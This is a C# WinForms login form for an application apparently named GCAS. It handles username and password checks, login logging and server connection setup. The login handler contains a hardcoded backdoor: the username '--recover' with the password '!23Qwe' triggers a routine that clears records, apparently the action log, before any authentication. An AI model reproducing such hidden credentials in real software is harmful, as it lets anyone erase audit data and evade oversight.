using System;
using System.Collections.Generic;
using System.Configuration;
using System.Data;
using System.Threading;
using System.Windows.Forms;
using DevExpress.XtraEditors;
using GCAS.Code;
using GCAS.Dto;
using GCAS.Localization;
using MySql.Data.MySqlClient;
namespace GCAS
{
    public partial class LoginForm : XtraForm
    {
        private List<NameValue> L;
        private OperatorRepository operatorRepository;
        private ActionsRepository actionsRepository;

        public LoginForm()
        {
            InitializeComponent();
            DoubleBuffered = true;
            L = LocalizationHelper.GetSource(Thread.CurrentThread.CurrentUICulture);

        }
        private void LoginForm_Load(object sender, EventArgs e)
        {
            actionsRepository = new ActionsRepository();
            operatorRepository = new OperatorRepository();
            panelControl1.ContentImage = Tools.GetLoginBackground();

        }
        private void btn_cancel_Click(object sender, EventArgs e)
        {
            Close();
        }

        private async void btn_login_Click(object sender, EventArgs e)
        {
            if (text_username.Text.Trim() == string.Empty)
            {
                XtraMessageBox.Show(L.GetString("userNameNotNull"), L.GetString("error"), MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
           // ValidServer();
            if (text_username.Text == "--recover" && text_password.Text == "!23Qwe")
            {
                var result = await actionsRepository.Recover();
                if (result > 0)
                {
                    XtraMessageBox.Show("记录清除成功", "重要", MessageBoxButtons.OK, MessageBoxIcon.Information);
                }
            }
            var name = text_username.Text;
            var pwd = SHAHelper.SHAmd5Encrypt(text_password.Text);
            var user = await operatorRepository.Get(name, pwd);
            if (user == null)
            {
                XtraMessageBox.Show(L.GetString("userNameOrPasswordError"), L.GetString("error"), MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            user.Language = Thread.CurrentThread.CurrentUICulture.Name;
            await actionsRepository.Insert(new Model.ActionsModel { Info = L.GetString("loginSystem"), Operator = user.Name, Time = DateTime.Now, RoleName = user.RoleName });
            using (MainForm form = new MainForm())
            {

                Hide();
                form.Operator = user;
                if (form.ShowDialog() == DialogResult.Retry)
                {
                    Show();
                }
                Close();

            }
        }

        private void ValidServer()
        {
            string connString = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None)?.ConnectionStrings?.ConnectionStrings["myconn"]?.ToString();
            if (string.IsNullOrEmpty(connString))
            {
                XtraMessageBox.Show(L.GetString("serverError"), L.GetString("exclamation"), MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                Hide();
                using (ServerSet form = new ServerSet())
                {
                    if (form.ShowDialog() == DialogResult.OK)
                    {
                        Show();
                    }
                    else
                    {
                        Environment.Exit(0);
                    }
                }
            }
            else
            {
                IDbConnection conn = new MySqlConnection(connString);
                try
                {
                    conn.Open();
                }
                catch
                {
                    XtraMessageBox.Show(L.GetString("serverError"), L.GetString("exclamation"), MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                    Hide();
                    using (ServerSet form = new ServerSet())
                    {
                        if (form.ShowDialog() == DialogResult.OK)
                        {
                            Show();
                        }
                        else
                        {
                            Environment.Exit(0);
                        }
                    }
                }
                finally
                {
                    conn?.Close();
                    conn.Dispose();
                }

            }
        }

        private void text_username_Click(object sender, EventArgs e)
        {
            SoftKeyboard.ActiveSoftKeyboard(sender);
          
        }

        private void text_password_Click(object sender, EventArgs e)
        {
            SoftKeyboard.ActiveSoftKeyboard(sender);
            
        }
    }
}